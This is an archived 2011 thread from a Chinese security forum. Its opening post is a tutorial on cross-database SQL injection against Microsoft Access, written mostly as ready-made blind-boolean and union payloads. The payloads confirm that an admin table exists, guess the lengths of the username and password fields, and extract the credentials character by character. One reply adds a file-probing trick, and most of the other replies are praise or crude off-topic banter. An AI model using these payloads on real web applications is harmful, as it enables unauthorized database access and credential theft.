# ACCESS跨库注入

**URL:** <https://forum.90sec.com/t/topic/2902>\
**Category:** 技术文章\
**Created:** [2011 年11 月 14 日 10:32 UTC](https://forum.90sec.com/t/topic/2902 "2011-11-14T10:32:41Z")\
**Posts on this page:** 18\
**Page:** 1

<div class="post-metadata">

作者： ![xiaoye1](https://forum.90sec.com/letter_avatar_proxy/v4/letter/x/e495f1/32.png) [@xiaoye1](https://forum.90sec.com/u/xiaoye1)\
发布日期： [2011 年11 月 14 日 10:32 UTC](https://forum.90sec.com/t/topic/2902/1 "2011-11-14T10:32:41Z")

</div>

随便整理了下 这么久了 还没在论坛写过一篇文章

ACCESS跨库盲注

And 1=(Select Count(\*) from [C:\777.mdb].[NC\_admin]) 判断是否存在NC\_Admin这张表

And 1=(Select Count(username) from [C:\777.mdb].[NC\_admin]) 判断NC\_Admin这张表是否存在username字段

And 1=(Select Count(password) from [C:\777.mdb].[NC\_admin]) 判断NC\_Admin这张表是否存在password字段

猜帐号数目 如果遇到\>0返回正确页面 \>1返回错误页面说明帐号数目就是1个

And (Select Count(\*) from [C:\777.mdb].[NC\_admin])\>0

And (Select Count(\*) from [C:\777.mdb].[NC\_admin])\>1

猜解字段长度

and 1=(select count(_) from [C:\777.mdb].[NC\_admin] where len(username)\>0) 返回错误  
and 1=(select count(_) from [C:\777.mdb].[NC\_admin] where len(username)=5) 返回正常

and 1=(select count(_) from [C:\777.mdb].[NC\_admin] where len(password)\>0) 返回错误  
and 1=(select count(_) from [C:\777.mdb].[NC\_admin] where len(password)=16) 返回正常

说明username字段长度为5 password字段为16

猜解字段内容

and 1=(select count(\*) from [C:\777.mdb].[NC\_admin] where left(username,1)='a') 猜解用户帐号的第一位

and 1=(select count(\*) from [C:\777.mdb].[NC\_admin] where left(username,2)='ad') 猜解用户帐号的第二位

and 1=(select count(\*) from [C:\777.mdb].[NC\_admin] where left(username,3)='adm') 猜解用户帐号的第三位

and 1=(select count(\*) from [C:\777.mdb].[NC\_admin] where left(password,1)='7') 猜解密码的第一位

and 1=(select count(\*) from [C:\777.mdb].[NC\_admin] where left(password,2)='7a') 猜解密码的第二位

union跨库注入更快 更简洁

union select 1,2,3,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC\_Admin 判断是否存在NC\_Admin这张表

union select 1,2,username,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC\_Admin 判断NC\_Admin这张表是否存在username字段

union select 1,2,password,4,5,6,7,8,9,10,11 from [C:\777.mdb].NC\_Admin 判断NC\_Admin这张表是否存在password字段

如果表和字段都正确 数据自然就会显示出来了

---

<div class="post-metadata">

作者： ![willson](https://forum.90sec.com/user_avatar/forum.90sec.com/willson/32/11369_2.png) [@willson](https://forum.90sec.com/u/willson)\
发布日期： [2011 年11 月 14 日 11:21 UTC](https://forum.90sec.com/t/topic/2902/2 "2011-11-14T11:21:29Z")

</div>

{:4\_51:}还可以用select \* from [C:\con.config]来判断文件名是够存在，还可以猜路径 ....

---

<div class="post-metadata">

作者： ![Hu0G4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/f14d63/32.png) [@Hu0G4](https://forum.90sec.com/u/Hu0G4)\
发布日期： [2011 年11 月 14 日 12:04 UTC](https://forum.90sec.com/t/topic/2902/3 "2011-11-14T12:04:43Z")

</div>

垮裤 注入 来看下

---

<div class="post-metadata">

作者： ![track](https://forum.90sec.com/user_avatar/forum.90sec.com/track/32/11362_2.png) [@track](https://forum.90sec.com/u/track)\
发布日期： [2011 年11 月 14 日 14:08 UTC](https://forum.90sec.com/t/topic/2902/4 "2011-11-14T14:08:03Z")

</div>

\*\*回复 [3#](http://www.90sec.org/redirect.php?goto=findpost&pid=4959&ptid=724) _淡然_ \*\*

```
大波妹。到处有你脚印

```

---

<div class="post-metadata">

作者： ![516400287](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/9e8a1a/32.png) [@516400287](https://forum.90sec.com/u/516400287)\
发布日期： [2011 年11 月 14 日 14:12 UTC](https://forum.90sec.com/t/topic/2902/5 "2011-11-14T14:12:00Z")

</div>

小叶牛! 我日 到那都是核心啊.. 膜拜大牛ING

---

<div class="post-metadata">

作者： ![516400287](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/9e8a1a/32.png) [@516400287](https://forum.90sec.com/u/516400287)\
发布日期： [2011 年11 月 14 日 14:12 UTC](https://forum.90sec.com/t/topic/2902/6 "2011-11-14T14:12:19Z")

</div>

小叶牛! 我日 到那都是核心啊.. 膜拜大牛ING

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2011 年11 月 14 日 14:21 UTC](https://forum.90sec.com/t/topic/2902/7 "2011-11-14T14:21:49Z")

</div>

{:4\_76:}学习学习，膜拜大牛。。。。。

---

<div class="post-metadata">

作者： ![Chmodx](https://forum.90sec.com/user_avatar/forum.90sec.com/chmodx/32/11355_2.png) [@Chmodx](https://forum.90sec.com/u/Chmodx)\
发布日期： [2011 年11 月 14 日 14:22 UTC](https://forum.90sec.com/t/topic/2902/8 "2011-11-14T14:22:38Z")

</div>

顶，我就很少想到access的跨裤查询。

---

<div class="post-metadata">

作者： ![user22](https://forum.90sec.com/user_avatar/forum.90sec.com/user22/32/11361_2.png) [@user22](https://forum.90sec.com/u/user22)\
发布日期： [2011 年11 月 14 日 17:41 UTC](https://forum.90sec.com/t/topic/2902/9 "2011-11-14T17:41:54Z")

</div>

跨裤子，飘过{:4\_56:}

---

<div class="post-metadata">

作者： ![Hu0G4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/f14d63/32.png) [@Hu0G4](https://forum.90sec.com/u/Hu0G4)\
发布日期： [2011 年11 月 14 日 23:51 UTC](https://forum.90sec.com/t/topic/2902/10 "2011-11-14T23:51:58Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=4982&ptid=724) _track_ \*\*

```
那个不叫脚印 叫波印 {:4_47:}

```

---

<div class="post-metadata">

作者： ![track](https://forum.90sec.com/user_avatar/forum.90sec.com/track/32/11362_2.png) [@track](https://forum.90sec.com/u/track)\
发布日期： [2011 年11 月 14 日 23:57 UTC](https://forum.90sec.com/t/topic/2902/11 "2011-11-14T23:57:18Z")

</div>

\*\*回复 [10#](http://www.90sec.org/redirect.php?goto=findpost&pid=5011&ptid=724) _淡然_ \*\*

```
{:4_08:} 波波妹。

```

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年11 月 14 日 23:58 UTC](https://forum.90sec.com/t/topic/2902/12 "2011-11-14T23:58:28Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=4982&ptid=724) _track_ \*\*

```
真的很大吗？

```

---

<div class="post-metadata">

作者： ![Hu0G4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/f14d63/32.png) [@Hu0G4](https://forum.90sec.com/u/Hu0G4)\
发布日期： [2011 年11 月 15 日 00:01 UTC](https://forum.90sec.com/t/topic/2902/13 "2011-11-15T00:01:01Z")

</div>

\*\*回复 [11#](http://www.90sec.org/redirect.php?goto=findpost&pid=5014&ptid=724) _track_ \*\*

```
在这样 我告你性骚扰， 管理 干他

```

---

<div class="post-metadata">

作者： ![track](https://forum.90sec.com/user_avatar/forum.90sec.com/track/32/11362_2.png) [@track](https://forum.90sec.com/u/track)\
发布日期： [2011 年11 月 15 日 00:05 UTC](https://forum.90sec.com/t/topic/2902/14 "2011-11-15T00:05:50Z")

</div>

\*\*回复 [12#](http://www.90sec.org/redirect.php?goto=findpost&pid=5015&ptid=724) _落叶_ \*\*

```
{:4_43:} 扒我身上。居然让我差点窒息。你说有多大

```

---

<div class="post-metadata">

作者： ![cfking](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/3da27b/32.png) [@cfking](https://forum.90sec.com/u/cfking)\
发布日期： [2011 年11 月 15 日 01:05 UTC](https://forum.90sec.com/t/topic/2902/15 "2011-11-15T01:05:50Z")

</div>

\*\*回复 [14#](http://www.90sec.org/redirect.php?goto=findpost&pid=5020&ptid=724) _track_ \*\*

```
这还不幸福死你啊

```

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2011 年11 月 15 日 01:26 UTC](https://forum.90sec.com/t/topic/2902/16 "2011-11-15T01:26:26Z")

</div>

\*\*回复 [8#](http://www.90sec.org/redirect.php?goto=findpost&pid=4986&ptid=724) _Chmodx_ \*\*

很多时候没这个条件，目前access的跨库貌似一直都处在本地测试环境下，我还没看到过实例的帖子。

---

<div class="post-metadata">

作者： ![Chmodx](https://forum.90sec.com/user_avatar/forum.90sec.com/chmodx/32/11355_2.png) [@Chmodx](https://forum.90sec.com/u/Chmodx)\
发布日期： [2011 年11 月 16 日 10:56 UTC](https://forum.90sec.com/t/topic/2902/17 "2011-11-16T10:56:12Z")

</div>

\*\*回复 [16#](http://www.90sec.org/redirect.php?goto=findpost&pid=5025&ptid=724) _杨凡_ \*\*

```
恩，是的，不过黑客x档案有一期发表了一遍利用union跨裤查询的{:4_51:}

```

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2011 年11 月 16 日 13:53 UTC](https://forum.90sec.com/t/topic/2902/18 "2011-11-16T13:53:49Z")

</div>

\*\*回复 [17#](http://www.90sec.org/redirect.php?goto=findpost&pid=5299&ptid=724) _Chmodx_ \*\*

嗯。。。 。。。  
木有看过。。。
